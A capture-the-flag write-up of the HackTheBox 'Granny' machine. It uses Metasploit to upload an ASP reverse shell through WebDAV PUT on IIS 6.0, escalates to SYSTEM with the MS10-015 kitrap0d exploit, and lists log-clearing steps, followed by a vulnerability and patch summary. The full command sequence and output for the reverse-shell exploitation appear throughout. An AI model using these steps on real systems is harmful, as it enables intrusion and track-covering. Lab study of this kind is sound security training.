

HackTheBox - Granny (Easy)

Table of contents

Table of contents

Enumeration

Nmap scan

Microsoft IIS exploitation

Local enumeration

Privilege escalation

Clearing tracks

Vulnerabilities summary

Web server misconfiguration

Pentester evaluation

Patch proposition

MS10-015

Pentester evaluation

Patch proposition

Tools used

Sources

Enumeration

Nmap scan

```
# Nmap 7.94 scan initiated Tue Jul 18 16:22:21 2023 as: nmap -A -p- -T5 -oN nmapResult
s.txt 10.129.95.234
Nmap scan report for 10.129.95.234
Host is up (0.027s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 6.0
| http-methods:
|_ Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL
LOCK UNLOCK PUT
|_http-server-header: Microsoft-IIS/6.0
| http-webdav-scan:
   WebDAV type: Unknown
   Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, P
ROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
  Server Date: Tue, 18 Jul 2023 20:23:20 GMT
  Server Type: Microsoft-IIS/6.0
|_ Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATC
H, SEARCH, MKCOL, LOCK, UNLOCK
|_http-title: Under Construction
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/s
# Nmap done at Tue Jul 18 16:23:26 2023 -- 1 IP address (1 host up) scanned in 65.34 s
econds
```

Microsoft IIS exploitation

According to Nmap, the web server accepts the PUT method, which allows us to upload files to the web server. Before trying to exploit this, let's just make a simple test:

We successfully uploaded an arbitrary file to the web server. We can leverage this to upload a malicious ASP, ASPX or PHP file in order to gain a reverse shell on the system. To do so, we can use the <u>Metasploit Framework</u>:

```
msf6 > use exploit/windows/iis/iis_webdav_upload_asp
msf6 exploit(windows/iis/iis_webdav_upload_asp) > set RHOSTS 10.129.95.234
RHOSTS => 10.129.95.234
msf6 exploit(windows/iis/iis_webdav_upload_asp) > set LHOST tun0
LHOST => 10.10.14.93
msf6 exploit(windows/iis/iis_webdav_upload_asp) > run
[*] Started reverse TCP handler on 10.10.14.93:4444
[*] Checking /metasploit110049367.asp
[*] Uploading 610891 bytes to /metasploit110049367.txt...
[*] Moving /metasploit110049367.txt to /metasploit110049367.asp...
[*] Executing /metasploit110049367.asp...
[*] Deleting /metasploit110049367.asp (this doesn't always work)...
[*] Sending stage (175686 bytes) to 10.129.95.234
[!] Deletion failed on /metasploit110049367.asp [403 Forbidden]
[*] Meterpreter session 1 opened (10.10.14.93:4444 -> 10.129.95.234:1030) at 2023-07-1
8 16:42:54 -0400
meterpreter > getuid
[-] stdapi_sys_config_getuid: Operation failed: Access is denied.
```

We have a reverse meterpreter shell, but it seems we have very low privileges. Let's migrate to another process to remediate this:

```
meterpreter > ps
Process List
=========
PID PPID Name Arch Session User
                                                                    Path
 --- ---- ----
0 0 [System Process]
4 0 System
272 4 smss.exe
[CROPPED]
1612 392 svchost.exe
1784 392 dllhost.exe
1956 392 alg.exe
1984 584 wmiprvse.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOW
S\system32\wbem\wmiprvse.exe
2100 344 logon.scr
2180 1500 w3wp.exe
                          x86 0
                                       NT AUTHORITY\NETWORK SERVICE c:\window
s\system32\inetsrv\w3wp.exe
2184 584 davcdata.exe x86 0
                                         NT AUTHORITY\NETWORK SERVICE C:\WINDOW
S\system32\inetsrv\davcdata.exe
2468 584 wmiprvse.exe
3632 2180 svchost.exe x86 0
                                                                    C:\WINDOW
S\Temp\rad92FD6.tmp\svchost.exe
3912 1092 cidaemon.exe
3960 1092 cidaemon.exe
3996 1092 cidaemon.exe
```

```
meterpreter > migrate 2184

[*] Migrating from 3632 to 2184...

[*] Migration completed successfully.

meterpreter > getuid

Server username: NT AUTHORITY\NETWORK SERVICE
```

Now, we have a meterpreter shell as NT AUTHORITY\NETWORK SERVICE.

Local enumeration

Let's use the post/multi/recon/local_exploit_suggester module to enumerate potential local exploits for privilege escalation :

```
msf6 exploit(windows/iis/iis_webdav_upload_asp) > use post/multi/recon/local_exploit_s
msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1
SESSION => 1
msf6 post(multi/recon/local_exploit_suggester) > run
[*] 10.129.95.234 - Collecting local exploits for x86/windows...
[*] 10.129.95.234 - 186 exploit checks are being tried...
[+] 10.129.95.234 - exploit/windows/local/ms10_015_kitrap0d: The service is running, b
ut could not be validated.
[+] 10.129.95.234 - exploit/windows/local/ms14_058_track_popup_menu: The target appear
s to be vulnerable.
[+] 10.129.95.234 - exploit/windows/local/ms14_070_tcpip_ioctl: The target appears to
be vulnerable.
[+] 10.129.95.234 - exploit/windows/local/ms15_051_client_copy_image: The target appea
rs to be vulnerable.
[+] 10.129.95.234 - exploit/windows/local/ms16_016_webdav: The service is running, but
could not be validated.
[+] 10.129.95.234 - exploit/windows/local/ms16_075_reflection: The target appears to b
e vulnerable.
[+] 10.129.95.234 - exploit/windows/local/ppr_flatten_rec: The target appears to be vu
lnerable.
[*] Running check method for exploit 41 / 41
[*] 10.129.95.234 - Valid modules for session 1:
# Name
                                                                  Potentially Vulner
able? Check Result
                                                                  1 exploit/windows/local/ms10_015_kitrap0d
                                                                  Yes
The service is running, but could not be validated.
2 exploit/windows/local/ms14_058_track_popup_menu
                                                                  Yes
The target appears to be vulnerable.
3 exploit/windows/local/ms14_070_tcpip_ioctl
                                                                  Yes
The target appears to be vulnerable.
4 exploit/windows/local/ms15_051_client_copy_image
                                                                  Yes
The target appears to be vulnerable.
```

5 exploit/windows/local/ms16_016_webdav	Yes
The service is running, but could not be validated.	
6 exploit/windows/local/ms16_075_reflection	Yes
The target appears to be vulnerable.	
<pre>7 exploit/windows/local/ppr_flatten_rec</pre>	Yes
The target appears to be vulnerable.	
8 exploit/windows/local/adobe_sandbox_adobecollabsync	No
Cannot reliably check exploitability.	
<pre>9 exploit/windows/local/agnitum_outpost_acs</pre>	No
The target is not exploitable.	
<pre>10 exploit/windows/local/always_install_elevated</pre>	No
The target is not exploitable.	
<pre>11 exploit/windows/local/anyconnect_lpe</pre>	No
The target is not exploitable. vpndownloader.exe not found on	file system
[CROPPED]	

Privilege escalation

Let's try to use the exploit/windows/local/ms10_015_kitrap0d module to exploit MS10-015_kitrap0d module MS10-015_kitrap0d module MS10-015_kitrap0d module MS10-015_kitra

```
msf6 post(multi/recon/local_exploit_suggester) > use exploit/windows/local/ms10_015_ki
trap0d
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/ms10_015_kitrap0d) > set session 1
session => 1
msf6 exploit(windows/local/ms10_015_kitrap0d) > set LHOST tun0
LHOST => tun0
msf6 exploit(windows/local/ms10_015_kitrap0d) > run
[*] Started reverse TCP handler on 10.10.14.93:4444
[*] Reflectively injecting payload and triggering the bug...
[*] Launching msiexec to host the DLL...
[+] Process 3128 launched.
[*] Reflectively injecting the DLL into 3128...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (175686 bytes) to 10.129.95.234
[*] Meterpreter session 2 opened (10.10.14.93:4444 -> 10.129.95.234:1032) at 2023-07-1
8 16:55:59 -0400
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

We have now a reverse meterpreter shell as NT AUTHORITY\SYSTEM.

Clearing tracks

Remove logs using the clearer command with the meterpreter

- Remove file.exe from C:\Inetpub\wwwroot
- Remove metasploit110049367.asp from C:\Inetpub\wwwroot

Vulnerabilities summary

Web server misconfiguration

Pentester evaluation

- Score: 9.8 CRITICAL
- Impact: Allows an attacker to upload arbitrary files. An attacker can leverage this vulnerability to upload a malicious file in order to execute a reverse shell and gain a foothold on the system as NT AUTHORITY\NETWORK SERVICE.

Patch proposition

Reconfigure the server to prevent unauthenticated users from using sensitive HTTP methods like PUT, DELETE etc...

MS10-015

Pentester evaluation

- Score: 9.3 CRITICAL
- Impact : Allows an attacker to elevate his privileges in order to gain access to the system as NT AUTHORITY\SYSTEM.

Patch proposition

Update the system through Windows Update.

Tools used

- Nmap ← scan open ports and service versions
- <u>curl</u> ← send HTTP requests to the web server
- Metasploit Framework ← run exploits against the target system

Sources

- HTTP PUT method : https://developer.mozilla.org/en-us/docs/Web/HTTP/Methods/PUT
- MS10-015 (kitrap0d): https://vk9-sec.com/kitrap0d-windows-kernel-could-allow-elevation-of-privilege-ms10-015-cve-2010-0232/
- NIST NVD CVE-2010-0232 (kitrap0d) : https://nvd.nist.gov/vuln/detail/CVE-2010-0232